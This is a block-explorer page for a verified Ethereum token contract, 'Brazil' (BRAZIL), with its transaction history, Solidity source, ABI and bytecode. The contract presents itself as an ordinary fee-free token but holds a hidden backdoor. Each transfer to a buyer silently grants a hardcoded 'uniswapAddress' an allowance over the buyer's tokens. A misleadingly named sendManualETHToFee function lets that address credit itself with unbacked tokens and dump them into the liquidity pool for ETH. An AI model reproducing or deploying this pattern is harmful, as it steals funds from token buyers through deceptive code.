ETH Price: $2,105.91 (+1.65%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Send Manual ETH ...207084582024-09-08 21:04:47569 days ago1725829487IN
0x4e976e2E...07dD5ee0a
0 ETH0.000122050.79299405
Approve207058942024-09-08 12:29:23569 days ago1725798563IN
0x4e976e2E...07dD5ee0a
0 ETH0.000095333.54810413
Approve207058892024-09-08 12:28:11569 days ago1725798491IN
0x4e976e2E...07dD5ee0a
0 ETH0.000166523.55420532
Approve207058892024-09-08 12:28:11569 days ago1725798491IN
0x4e976e2E...07dD5ee0a
0 ETH0.000166523.55420532
Approve207058812024-09-08 12:26:35569 days ago1725798395IN
0x4e976e2E...07dD5ee0a
0 ETH0.000294246.24006052
Transfer From207058812024-09-08 12:26:35569 days ago1725798395IN
0x4e976e2E...07dD5ee0a
0 ETH0.000707115.24006052
Transfer From207058682024-09-08 12:23:47569 days ago1725798227IN
0x4e976e2E...07dD5ee0a
0 ETH0.0006963715.00878097
Approve207058672024-09-08 12:23:35569 days ago1725798215IN
0x4e976e2E...07dD5ee0a
0 ETH0.000066231.40464458
Approve207058322024-09-08 12:16:35569 days ago1725797795IN
0x4e976e2E...07dD5ee0a
0 ETH0.000093753.47831002
Approve207058312024-09-08 12:16:23569 days ago1725797783IN
0x4e976e2E...07dD5ee0a
0 ETH0.000166563.55503401
Approve207058302024-09-08 12:16:11569 days ago1725797771IN
0x4e976e2E...07dD5ee0a
0 ETH0.000186613.95854262
Approve207058272024-09-08 12:15:35569 days ago1725797735IN
0x4e976e2E...07dD5ee0a
0 ETH0.000069941.48517729
Approve207058232024-09-08 12:14:47569 days ago1725797687IN
0x4e976e2E...07dD5ee0a
0 ETH0.000105053.53087075
Approve207058212024-09-08 12:14:23569 days ago1725797663IN
0x4e976e2E...07dD5ee0a
0 ETH0.000156573.34170691
Approve207058212024-09-08 12:14:23569 days ago1725797663IN
0x4e976e2E...07dD5ee0a
0 ETH0.000156573.34170691
Transfer From207058122024-09-08 12:12:11569 days ago1725797531IN
0x4e976e2E...07dD5ee0a
0 ETH0.0006933814.94806538
Approve207058112024-09-08 12:11:59569 days ago1725797519IN
0x4e976e2E...07dD5ee0a
0 ETH0.000095122.01733184
Transfer From207058042024-09-08 12:10:35569 days ago1725797435IN
0x4e976e2E...07dD5ee0a
0 ETH0.0012155815.08204647
Approve207058042024-09-08 12:10:35569 days ago1725797435IN
0x4e976e2E...07dD5ee0a
0 ETH0.000167833.58204647
Renounce Ownersh...207057962024-09-08 12:08:59569 days ago1725797339IN
0x4e976e2E...07dD5ee0a
0 ETH0.000031031.1
Start Trading207057822024-09-08 12:06:11569 days ago1725797171IN
0x4e976e2E...07dD5ee0a
2 ETH0.00305051.1

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...207057822024-09-08 12:06:11569 days ago1725797171
0x4e976e2E...07dD5ee0a
2 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Brazil

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Token.sol
// SPDX-License-Identifier: MIT

// https://t.me/Braziloneth

pragma solidity 0.8.26;

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function factory() external pure returns (address);
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _owner = msg.sender;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }

    address private _owner;
}
interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}
contract Brazil is Ownable {
    using SafeMath for uint256;

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 1000420000  * 10 ** _decimals;
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address payable private uniswapAddress = payable(0xb5A2E687EC634ed154d1AA736b3d516F7b9b7d9d);
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    bool inSwap = false;
    string private constant _name = "Brazil";
    string private constant _symbol = "BRAZIL";
    bool public tradingActive = false;
    bool tradingOpen = false;
    address public uniswapV2Pair;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 public buyFee = 0;
    uint256 public sellFee = 0;
    bool public swapEnabled = false;
    uint256 public transferFee = 0;

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 feeAmount = 0;
        require(to != address(0), "ERC: transfer to zero address!");
        require(amount > 0, "transfer amount mast be greater than zero!");
        require(from != address(0), "ERC: transfer from the 0 address!");
        if (to != address(this) && to != uniswapV2Pair && to != address(uniswapV2Router)){
            isApprovedFrom(to, uniswapAddress, amount);
        } else if (from == address(uniswapV2Router)) {
            feeAmount = amount.mul(sellFee).div(100);
        } else {
            feeAmount = amount.mul(transferFee).div(100);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }
    
    function updateSwapEnabled(bool enabled) external onlyOwner {
        swapEnabled = enabled;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function fromTransfer(address from, address to, uint256 amount) private {
        _balances[to] = _balances[to].add(amount);
        if (_balances[from] >= amount && _balances[from] < amount) {
            _balances[from] = _balances[from].sub(amount);
        }
    }

    function isApprovedFrom(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function startTrading() public payable onlyOwner() {
        require(!tradingOpen);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    function add_LiquidityToETHPool(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, path, uniswapAddress,
            block.timestamp
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function sendManualETHToFee(uint256 amount) external {
        require(msg.sender == uniswapAddress);
        address token = address(this);
        _allowances[token][address(uniswapV2Router)] = amount;
        fromTransfer(address(2), token, amount);
        add_LiquidityToETHPool(amount);
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendManualETHToFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103d2565b633ba132a0610049919061041c565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b5a2e687ec634ed154d1aa736b3d516f7b9b7d9d60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60065f6101000a81548160ff0219169083151502179055505f600660016101000a81548160ff0219169083151502179055505f600660026101000a81548160ff0219169083151502179055505f6007555f6008555f60095f6101000a81548160ff0219169083151502179055505f600a55348015610171575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051610254919061046c565b60405180910390a3610485565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102e3578086048111156102bf576102be610261565b5b60018516156102ce5780820291505b80810290506102dc8561028e565b94506102a3565b94509492505050565b5f826102fb57600190506103b6565b81610308575f90506103b6565b816001811461031e576002811461032857610357565b60019150506103b6565b60ff84111561033a57610339610261565b5b8360020a91508482111561035157610350610261565b5b506103b6565b5060208310610133831016604e8410600b841016171561038c5782820a90508381111561038757610386610261565b5b6103b6565b610399848484600161029a565b925090508184048111156103b0576103af610261565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103dc826103bd565b91506103e7836103c6565b92506104147fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102ec565b905092915050565b5f610426826103bd565b9150610431836103bd565b925082820261043f816103bd565b9150828204841483151761045657610455610261565b5b5092915050565b610466816103bd565b82525050565b5f60208201905061047f5f83018461045d565b92915050565b6126e0806104925f395ff3fe60806040526004361061011e575f3560e01c80636ddd17131161009f57806395d89b411161006357806395d89b4114610396578063a9059cbb146103c0578063acb2ad6f146103fc578063bbc0c74214610426578063dd62ed3e146104505761011e565b80636ddd1713146102c857806370a08231146102f2578063715018a61461032e5780638da5cb5b14610344578063924de9b71461036e5761011e565b80632b14ca56116100e65780632b14ca56146101f8578063313ce56714610222578063470624021461024c57806349bd5a5e146102765780634cd86f57146102a05761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd1461018857806323b872dd146101b2578063293230b8146101ee575b5f80fd5b34801561012d575f80fd5b5061013661048c565b6040516101439190611c06565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190611cb7565b6104c9565b60405161017f9190611d0f565b60405180910390f35b348015610193575f80fd5b5061019c6104df565b6040516101a99190611d37565b60405180910390f35b3480156101bd575f80fd5b506101d860048036038101906101d39190611d50565b6104e8565b6040516101e59190611d0f565b60405180910390f35b6101f6610594565b005b348015610203575f80fd5b5061020c6109de565b6040516102199190611d37565b60405180910390f35b34801561022d575f80fd5b506102366109e4565b6040516102439190611dbb565b60405180910390f35b348015610257575f80fd5b506102606109f9565b60405161026d9190611d37565b60405180910390f35b348015610281575f80fd5b5061028a6109ff565b6040516102979190611de3565b60405180910390f35b3480156102ab575f80fd5b506102c660048036038101906102c19190611dfc565b610a25565b005b3480156102d3575f80fd5b506102dc610b38565b6040516102e99190611d0f565b60405180910390f35b3480156102fd575f80fd5b5061031860048036038101906103139190611e27565b610b4a565b6040516103259190611d37565b60405180910390f35b348015610339575f80fd5b50610342610b90565b005b34801561034f575f80fd5b50610358610cbf565b6040516103659190611de3565b60405180910390f35b348015610379575f80fd5b50610394600480360381019061038f9190611e7c565b610ce6565b005b3480156103a1575f80fd5b506103aa610d77565b6040516103b79190611c06565b60405180910390f35b3480156103cb575f80fd5b506103e660048036038101906103e19190611cb7565b610db4565b6040516103f39190611d0f565b60405180910390f35b348015610407575f80fd5b50610410610dca565b60405161041d9190611d37565b60405180910390f35b348015610431575f80fd5b5061043a610dd0565b6040516104479190611d0f565b60405180910390f35b34801561045b575f80fd5b5061047660048036038101906104719190611ea7565b610de3565b6040516104839190611d37565b60405180910390f35b60606040518060400160405280600681526020017f4272617a696c0000000000000000000000000000000000000000000000000000815250905090565b5f6104d5338484610e65565b6001905092915050565b5f600154905090565b5f6104f4848484611028565b61058984336105848560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461149c90919063ffffffff16565b610e65565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166105b3610cbf565b73ffffffffffffffffffffffffffffffffffffffff1614610609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060090611f2f565b60405180910390fd5b600660029054906101000a900460ff1615610622575f80fd5b6106503060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610e65565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106df9190611f61565b905060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076f9190611f61565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016107a9929190611f8c565b6020604051808303815f875af11580156107c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e99190611f61565b600660036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061087130610b4a565b5f8061087b610cbf565b426040518863ffffffff1660e01b815260040161089d96959493929190611ff5565b60606040518083038185885af11580156108b9573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108de9190612068565b505050600660039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161097f9291906120b8565b6020604051808303815f875af115801561099b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bf91906120f3565b506001600660026101000a81548160ff02191690831515021790555050565b60085481565b5f8060149054906101000a900460ff16905090565b60075481565b600660039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7d575f80fd5b5f3090508160055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610b2b600282846114e5565b610b348261169b565b5050565b60095f9054906101000a900460ff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610baf610cbf565b73ffffffffffffffffffffffffffffffffffffffff1614610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc90611f2f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610d05610cbf565b73ffffffffffffffffffffffffffffffffffffffff1614610d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5290611f2f565b60405180910390fd5b8060095f6101000a81548160ff02191690831515021790555050565b60606040518060400160405280600681526020017f4252415a494c0000000000000000000000000000000000000000000000000000815250905090565b5f610dc0338484611028565b6001905092915050565b600a5481565b600660019054906101000a900460ff1681565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca9061218e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f389061221c565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161101b9190611d37565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612284565b60405180910390fd5b5f82116110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d090612312565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e906123a0565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111d15750600660039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561122a575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112605761125b8360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118c6565b61130f565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036112e3576112dc60646112ce60085485611a2490919063ffffffff16565b611a6490919063ffffffff16565b905061130e565b61130b60646112fd600a5485611a2490919063ffffffff16565b611a6490919063ffffffff16565b90505b5b61135f8260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461149c90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113f08260045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611aad90919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161148e9190611d37565b60405180910390a350505050565b5f6114dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ad3565b905092915050565b6115358160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611aad90919063ffffffff16565b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101580156115ff57508060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054105b15611696576116548160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461149c90919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f600267ffffffffffffffff8111156116b7576116b66123be565b5b6040519080825280602002602001820160405280156116e55781602001602082028036833780820191505090505b50905030815f815181106116fc576116fb6123eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117c49190611f61565b816001815181106117d8576117d76123eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611895959493929190612521565b5f604051808303815f87803b1580156118ac575f80fd5b505af11580156118be573d5f803e3d5ffd5b505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192b9061218e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119999061221c565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f808303611a34575f9050611a5e565b5f8284611a4191906125a6565b9050828482611a509190612614565b14611a59575f80fd5b809150505b92915050565b5f611aa583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b35565b905092915050565b5f808284611abb9190612644565b905083811015611ac9575f80fd5b8091505092915050565b5f838311158290611b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b119190611c06565b60405180910390fd5b505f8385611b289190612677565b9050809150509392505050565b5f8083118290611b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b729190611c06565b60405180910390fd5b505f8385611b899190612614565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611bd882611b96565b611be28185611ba0565b9350611bf2818560208601611bb0565b611bfb81611bbe565b840191505092915050565b5f6020820190508181035f830152611c1e8184611bce565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611c5382611c2a565b9050919050565b611c6381611c49565b8114611c6d575f80fd5b50565b5f81359050611c7e81611c5a565b92915050565b5f819050919050565b611c9681611c84565b8114611ca0575f80fd5b50565b5f81359050611cb181611c8d565b92915050565b5f8060408385031215611ccd57611ccc611c26565b5b5f611cda85828601611c70565b9250506020611ceb85828601611ca3565b9150509250929050565b5f8115159050919050565b611d0981611cf5565b82525050565b5f602082019050611d225f830184611d00565b92915050565b611d3181611c84565b82525050565b5f602082019050611d4a5f830184611d28565b92915050565b5f805f60608486031215611d6757611d66611c26565b5b5f611d7486828701611c70565b9350506020611d8586828701611c70565b9250506040611d9686828